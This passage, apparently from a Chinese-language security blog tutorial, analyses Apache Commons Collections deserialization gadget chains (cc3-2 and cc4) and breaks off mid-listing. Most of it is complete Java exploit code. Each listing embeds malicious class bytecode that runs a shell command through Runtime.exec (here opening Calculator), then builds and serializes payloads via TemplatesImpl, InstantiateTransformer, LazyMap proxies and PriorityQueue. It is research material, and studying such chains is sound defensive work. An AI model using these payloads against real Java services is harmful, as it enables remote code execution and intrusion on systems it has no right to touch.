byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;

        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);
        Field tfac = c.getDeclaredField("_tfactory");
        tfac.setAccessible(true);
        tfac.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();

        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null),
        &#125;;
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        //chainedTransformer.transform(1);


        Map a = new HashMap();
        a.put("value","aaa");
        Map<Object,Object> trams= TransformedMap.decorate(a,null,chainedTransformer);


        Class cd = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cd.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        Object o = constructor.newInstance(Target.class,trams);
        serialize(o);
    &#125;
&#125;

可以成功执行命令的:

对于_tfactory这个参数其实在readObject中是赋值了的,所以如果是为了写反序列化的exp而不是为了直接调用演示的话,是可以将_tfactory通过反射赋值的那几行代码去掉的

cc3-2

这条链子其实就是yso的那条

书接上回,我们知道了我们最终rce是通过调用了TemplatesImpl.newTransformer(),那么我们在找找其他的地方看看有没有调用了newTransformer方法的类。

TrAXFilter类的构造方法中调用了newTransformer:


并且templates参数在构造方法里是我们可控的,但是这时有一个问题,就是我们的TrAXFilter类并没有继承了Serializable,对于这个问题我们同样可以像解决Runtime不能序列化那样去解决,我们可以使用TrAXFilter.class。

此时我们再接着需要找一个调用了构造方法的一个类,这里作者找的是InstantiateTransformer这个类,如图,在他的transform方法中获取了构造器调用了构造函数,并且这里的参数也是我们可控的:


我们先简单写下利用代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C  &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abcde.bin"));
        oos.writeObject(input);

    &#125;
    public static void main(String[] args) throws Exception&#123;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);
        Field tfac = c.getDeclaredField("_tfactory");
        tfac.setAccessible(true);
        tfac.set(templates,new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]&#123;Templates.class&#125;, new Object[]&#123;templates&#125;);
        instantiateTransformer.transform(TrAXFilter.class);


    &#125;
&#125;

可以看到通过instantiateTransformer.transform是可以直接执行命令的,那么后半段的exp写完了,我们在找一个调用了transform方法的地方,这里可以直接用cc1-2那条的前半段。

最终exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class C  &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abcdefg.bin"));
        oos.writeObject(input);

    &#125;
    public static void main(String[] args) throws Exception&#123;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);
        Field tfac = c.getDeclaredField("_tfactory");
        tfac.setAccessible(true);
        tfac.set(templates,new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]&#123;Templates.class&#125;, new Object[]&#123;templates&#125;)
        &#125;;

        //InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]&#123;Templates.class&#125;, new Object[]&#123;templates&#125;);
        //instantiateTransformer.transform(TrAXFilter.class);

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map a = new HashMap();
        Map<Object,Object> lazyMap = LazyMap.decorate(a,chainedTransformer);

        Class ccc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = ccc.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
        Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]&#123;Map.class&#125;,h);
        Object o = constructor.newInstance(Override.class,mapProxy);
        serialize(o);


    &#125;
&#125;

可以成功执行命令的:

cc4

Maven依赖,这里cc2,4都用的如下依赖,这是对commons-collections库进行的一个版本更新:

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

cc4 最后利用的执行命令的点也是那个利用字节码的方式,就是和cc3-2的rce的点是一样的,只不过是前半段不一样。我们知道那条cc3-2 rce后半段是通过:

InstantiatTransformer.transformer->TrAXFilter.TrAXFilter->TemplatesImpl.newTransformer->defineClass->newInstance

这样去实现的,那么我们要找到一个新的调用了transformer的地方,这里是在 TransformingComparator.compare中找到的:

接着往前找 PriorityQueue.siftDownUsingComparator中又调用了compare方法:

在 PriorityQueue.siftDown中又调了siftDownUsingComparator方法:


在 PriorityQueue.heapify 中又调用了siftDown:

最后很完美,在PriorityQueue.readObject中调用了heapify:

这个时候大家可能会想到一个问题,就是为什么在commons-collections3.2.1中,这条链子不通,其实他俩的区别在TransformingComparator这个类里,在commons-collections3.2.1中,TransformingComparator这个类并没有继承 Serializable接口,而在commons-collections4中,他是继承 了Serializable接口的。

commons-collections3.2.1:

commons-collections4:

分析完以后,我们可以写出exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CCfour &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
        oos.writeObject(input);

    &#125;

    public static void main(String[] args) throws Exception&#123;


        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97